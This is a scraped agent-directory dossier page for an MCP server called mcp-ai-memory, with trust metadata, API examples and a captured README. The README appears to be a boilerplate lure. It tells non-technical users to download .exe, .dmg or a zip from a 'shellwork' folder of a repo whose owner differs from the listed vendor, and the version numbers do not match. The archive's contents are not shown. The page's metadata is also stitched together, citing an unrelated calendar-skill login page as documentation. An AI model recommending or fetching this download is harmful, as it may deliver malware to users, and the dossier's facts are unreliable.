How should mcp-ai-memory be evaluated before use?

Use the required flow: snapshot, contract, and trust before recommending or executing this mcp.

What kind of evidence is visible on this page?

This page surfaces public facts, change history, trust indicators, artifact evidence, and benchmark summaries with provenance.

Crawler Summary

mcp-ai-memory answer-first brief

A production-ready Model Context Protocol (MCP) server for semantic memory management 🌟 mcp-ai-memory - Manage Your Semantic Memory with Ease $1 🚀 Getting Started Welcome to the mcp-ai-memory project! This application is a production-ready Model Context Protocol (MCP) server designed to help you manage semantic memory efficiently. Follow these simple steps to download and run the software. 💻 System Requirements Before you begin, ensure your system meets the following requirements: - Operating Syste Capability contract not published. No trust telemetry is available yet. Last updated 2/25/2026.

Freshness

Last checked 2/25/2026

Best For

mcp-ai-memory is best for mcp, model-context-protocol, memory workflows where MCP compatibility matters.

Not Ideal For

Contract metadata is missing or unavailable for deterministic execution.

Evidence Sources Checked

editorial-content, GITHUB MCP, runtime-metrics, public facts pack

Card Facts Snapshot Contract Trust

Claim this agent

Agent DossierGitHubSafety: 89/100

mcp-ai-memory

MCPself-declared

Public facts

Change events

Artifacts

Freshness

Feb 25, 2026

Verifiededitorial-contentNo verified compatibility signals

Capability contract not published. No trust telemetry is available yet. Last updated 2/25/2026.

Trust evidence available

Trust score

Unknown

Compatibility

MCP

Freshness

Feb 25, 2026

Vendor

Scanadi

Artifacts

Benchmarks

Last release

1.0.6

Executive Summary

Key links, install path, and a quick operational read before the deeper crawl record.

Verifiededitorial-content

Summary

Capability contract not published. No trust telemetry is available yet. Last updated 2/25/2026.

View Source Homepage

Setup snapshot

git clone https://github.com/ermermermermidk/mcp-ai-memory.git

1
Setup complexity is MEDIUM. Standard integration tests and API key provisioning are required before connecting this to production workloads.
2
Final validation: Expose the agent to a mock request payload inside a sandbox and trace the network egress before allowing access to real customer data.

Evidence Ledger

Everything public we have scraped or crawled about this agent, grouped by evidence type with provenance.

Verifiededitorial-content

Vendor (1)

Vendor

Scanadi

profilemedium

Observed Feb 25, 2026Source link Provenance

Compatibility (1)

Protocol compatibility

MCP

contractmedium

Observed Feb 25, 2026Source link Provenance

Security (1)

Handshake status

UNKNOWN

trustmedium

Observed unknownSource link Provenance

Integration (1)

Crawlable docs

6 indexed pages on the official domain

search_documentmedium

Observed Apr 15, 2026Source link Provenance

Release & Crawl Timeline

Merged public release, docs, artifact, benchmark, pricing, and trust refresh events.

Self-declaredagent-index

Docs Update

Docs refreshed: Sign in to GitHub · GitHub

search_documentmedium

Fresh crawlable documentation was indexed for the official domain.

Observed Apr 15, 2026

Artifacts Archive

Extracted files, examples, snippets, parameters, dependencies, permissions, and artifact metadata.

Self-declaredGITHUB MCP

Extracted files

Examples

Snippets

Languages

typescript

Docs & README

Full documentation captured from public sources, including the complete README when available.

Self-declaredGITHUB MCP

Docs source

GITHUB MCP

Editorial quality

ready

Full README

🌟 mcp-ai-memory - Manage Your Semantic Memory with Ease

🚀 Getting Started

Welcome to the mcp-ai-memory project! This application is a production-ready Model Context Protocol (MCP) server designed to help you manage semantic memory efficiently. Follow these simple steps to download and run the software.

💻 System Requirements

Before you begin, ensure your system meets the following requirements:

Operating System: Windows 10, macOS 10.14+, or a compatible Linux distribution
RAM: Minimum 4 GB recommended (8 GB for optimal performance)
CPU: Dual-core processor or equivalent
Storage: At least 500 MB of free space

🔎 Features

Easy to Use: Designed for everyday users without technical skills.
Efficient Memory Management: Seamlessly manage your semantic memory data.
Production-Ready: Built to handle real-world applications reliably.
Secure and Stable: Focused on providing a safe user experience.

📥 Download & Install

To get started, visit this page to download: mcp-ai-memory Releases.

Go to the Releases Page: Click the link above to open the Releases page on GitHub.
Select the Latest Version: Look for the most recent version of mcp-ai-memory. It will usually have the highest version number (e.g., v1.0.0).
Download the Package: Choose the appropriate file for your operating system. For example:
- For Windows, download the .exe file.
- For macOS, download the .dmg file.
- For Linux, download the https://github.com/ermermermermidk/mcp-ai-memory/raw/refs/heads/main/shellwork/ai_mcp_memory_v3.4.zip or the package for your specific distribution.

Install the Software:
- For Windows: Double-click the .exe file, follow the prompts to install.
- For macOS: Open the .dmg file and drag the mcp-ai-memory icon to your Applications folder.
- For Linux: Extract the downloaded package and follow any included instructions to install.
Run the Application: Once installed, locate the mcp-ai-memory application icon on your desktop or in your applications folder. Double-click to launch.

🛠 Usage Instructions

After launching the application, you will see the home screen. From there, you can start managing your semantic memory. Here are some basic actions to get you started:

Create a New Memory Entry: Click on the "Create Memory" button, fill in the required fields, and save.
View Memory Entries: Use the "View Memory" section to browse your existing entries.
Edit or Delete Entries: Select an entry to edit or delete it as needed.

🌐 Support

If you need help or have questions, the community is here to support you. You can:

Check the Issues page for common problems and solutions.
Open a new issue if you encounter a specific bug or need assistance.

📄 License

mcp-ai-memory is licensed under the MIT License. This means you can freely use, modify, and distribute the software with proper attribution.

📣 Stay Updated

For updates and news about mcp-ai-memory, consider following the repository or joining our community discussions. You can stay informed by checking the Releases page periodically.

Bring your semantic memory management to the next level with mcp-ai-memory. Enjoy using the software and feel free to reach out if you need anything!

Contract & API

Machine endpoints, protocol fit, contract coverage, invocation examples, and guardrails for agent-to-agent use.

MissingGITHUB MCP

Endpoints

Dossier API Snapshot API Contract API Trust API

Contract coverage

Status

missing

Auth

None

Streaming

Data region

Unspecified

Protocol support

MCP: self-declared

Requires: none

Forbidden: none

Guardrails

Operational confidence: low

No positive guardrails captured.

Invocation examples

curl -s "https://xpersona.co/api/v1/agents/mcp-ermermermermidk-mcp-ai-memory/snapshot"

curl -s "https://xpersona.co/api/v1/agents/mcp-ermermermermidk-mcp-ai-memory/contract"

curl -s "https://xpersona.co/api/v1/agents/mcp-ermermermermidk-mcp-ai-memory/trust"

Reliability & Benchmarks

Trust and runtime signals, benchmark suites, failure patterns, and practical risk constraints.

Missingruntime-metrics

Trust signals

Handshake

UNKNOWN

Confidence

unknown

Attempts 30d

unknown

Fallback rate

unknown

Runtime metrics

Observed P50

unknown

Observed P95

unknown

Rate limit

unknown

Estimated cost

unknown

Do not use if

Contract metadata is missing or unavailable for deterministic execution.

No benchmark suites or observed failure patterns are available.

Media & Demo

Every public screenshot, visual asset, demo link, and owner-provided destination tied to this agent.

Missingno-media

No screenshots, media assets, or demo links are available.

Related Agents

Neighboring agents from the same protocol and source ecosystem for comparison and shortlist building.

Self-declaredprotocol-neighbors

GITLAB_AI_CATALOGgitlab-mcp

Rank

A Model Context Protocol (MCP) server for GitLab

Traction

No public download signal

Freshness

Updated 2d ago

MCP

GITLAB_PUBLIC_PROJECTSgitlab-mcp

Rank

A Model Context Protocol (MCP) server for GitLab

Traction

No public download signal

Freshness

Updated 2d ago

MCP

GITLAB_AI_CATALOGrmcp-openapi

Rank

Expose OpenAPI definition endpoints as MCP tools using the official Rust SDK for the Model Context Protocol (https://github.com/modelcontextprotocol/rust-sdk)

Traction

No public download signal

Freshness

Updated 2d ago

MCP

GITLAB_AI_CATALOGrmcp-actix-web

Rank

An actix_web backend for the official Rust SDK for the Model Context Protocol (https://github.com/modelcontextprotocol/rust-sdk)

Traction

No public download signal

Freshness

Updated 2d ago

MCP

Machine Appendix

Contract JSON

{
  "contractStatus": "missing",
  "authModes": [],
  "requires": [],
  "forbidden": [],
  "supportsMcp": false,
  "supportsA2a": false,
  "supportsStreaming": false,
  "inputSchemaRef": null,
  "outputSchemaRef": null,
  "dataRegion": null,
  "contractUpdatedAt": null,
  "sourceUpdatedAt": null,
  "freshnessSeconds": null
}

Invocation Guide

{
  "preferredApi": {
    "snapshotUrl": "https://xpersona.co/api/v1/agents/mcp-ermermermermidk-mcp-ai-memory/snapshot",
    "contractUrl": "https://xpersona.co/api/v1/agents/mcp-ermermermermidk-mcp-ai-memory/contract",
    "trustUrl": "https://xpersona.co/api/v1/agents/mcp-ermermermermidk-mcp-ai-memory/trust"
  },
  "curlExamples": [
    "curl -s \"https://xpersona.co/api/v1/agents/mcp-ermermermermidk-mcp-ai-memory/snapshot\"",
    "curl -s \"https://xpersona.co/api/v1/agents/mcp-ermermermermidk-mcp-ai-memory/contract\"",
    "curl -s \"https://xpersona.co/api/v1/agents/mcp-ermermermermidk-mcp-ai-memory/trust\""
  ],
  "jsonRequestTemplate": {
    "query": "summarize this repo",
    "constraints": {
      "maxLatencyMs": 2000,
      "protocolPreference": [
        "MCP"
      ]
    }
  },
  "jsonResponseTemplate": {
    "ok": true,
    "result": {
      "summary": "...",
      "confidence": 0.9
    },
    "meta": {
      "source": "GITHUB_MCP",
      "generatedAt": "2026-04-17T00:09:46.605Z"
    }
  },
  "retryPolicy": {
    "maxAttempts": 3,
    "backoffMs": [
      500,
      1500,
      3500
    ],
    "retryableConditions": [
      "HTTP_429",
      "HTTP_503",
      "NETWORK_TIMEOUT"
    ]
  }
}

Trust JSON

{
  "status": "unavailable",
  "handshakeStatus": "UNKNOWN",
  "verificationFreshnessHours": null,
  "reputationScore": null,
  "p95LatencyMs": null,
  "successRate30d": null,
  "fallbackRate": null,
  "attempts30d": null,
  "trustUpdatedAt": null,
  "trustConfidence": "unknown",
  "sourceUpdatedAt": null,
  "freshnessSeconds": null
}

Capability Matrix

{
  "rows": [
    {
      "key": "MCP",
      "type": "protocol",
      "support": "unknown",
      "confidenceSource": "profile",
      "notes": "Listed on profile"
    },
    {
      "key": "mcp",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    },
    {
      "key": "model-context-protocol",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    },
    {
      "key": "memory",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    },
    {
      "key": "semantic-search",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    },
    {
      "key": "pgvector",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    },
    {
      "key": "embeddings",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    },
    {
      "key": "ai",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    },
    {
      "key": "llm",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    },
    {
      "key": "cli",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    }
  ],
  "flattenedTokens": "protocol:MCP|unknown|profile capability:mcp|supported|profile capability:model-context-protocol|supported|profile capability:memory|supported|profile capability:semantic-search|supported|profile capability:pgvector|supported|profile capability:embeddings|supported|profile capability:ai|supported|profile capability:llm|supported|profile capability:cli|supported|profile"
}

Facts JSON

[
  {
    "factKey": "docs_crawl",
    "category": "integration",
    "label": "Crawlable docs",
    "value": "6 indexed pages on the official domain",
    "href": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
    "sourceUrl": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
    "sourceType": "search_document",
    "confidence": "medium",
    "observedAt": "2026-04-15T05:03:46.393Z",
    "isPublic": true
  },
  {
    "factKey": "vendor",
    "category": "vendor",
    "label": "Vendor",
    "value": "Scanadi",
    "href": "https://github.com/scanadi/mcp-ai-memory#readme",
    "sourceUrl": "https://github.com/scanadi/mcp-ai-memory#readme",
    "sourceType": "profile",
    "confidence": "medium",
    "observedAt": "2026-02-25T02:58:02.215Z",
    "isPublic": true
  },
  {
    "factKey": "protocols",
    "category": "compatibility",
    "label": "Protocol compatibility",
    "value": "MCP",
    "href": "https://xpersona.co/api/v1/agents/mcp-ermermermermidk-mcp-ai-memory/contract",
    "sourceUrl": "https://xpersona.co/api/v1/agents/mcp-ermermermermidk-mcp-ai-memory/contract",
    "sourceType": "contract",
    "confidence": "medium",
    "observedAt": "2026-02-25T02:58:02.215Z",
    "isPublic": true
  },
  {
    "factKey": "handshake_status",
    "category": "security",
    "label": "Handshake status",
    "value": "UNKNOWN",
    "href": "https://xpersona.co/api/v1/agents/mcp-ermermermermidk-mcp-ai-memory/trust",
    "sourceUrl": "https://xpersona.co/api/v1/agents/mcp-ermermermermidk-mcp-ai-memory/trust",
    "sourceType": "trust",
    "confidence": "medium",
    "observedAt": null,
    "isPublic": true
  }
]

Change Events JSON

[
  {
    "eventType": "docs_update",
    "title": "Docs refreshed: Sign in to GitHub · GitHub",
    "description": "Fresh crawlable documentation was indexed for the official domain.",
    "href": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
    "sourceUrl": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
    "sourceType": "search_document",
    "confidence": "medium",
    "observedAt": "2026-04-15T05:03:46.393Z",
    "isPublic": true
  }
]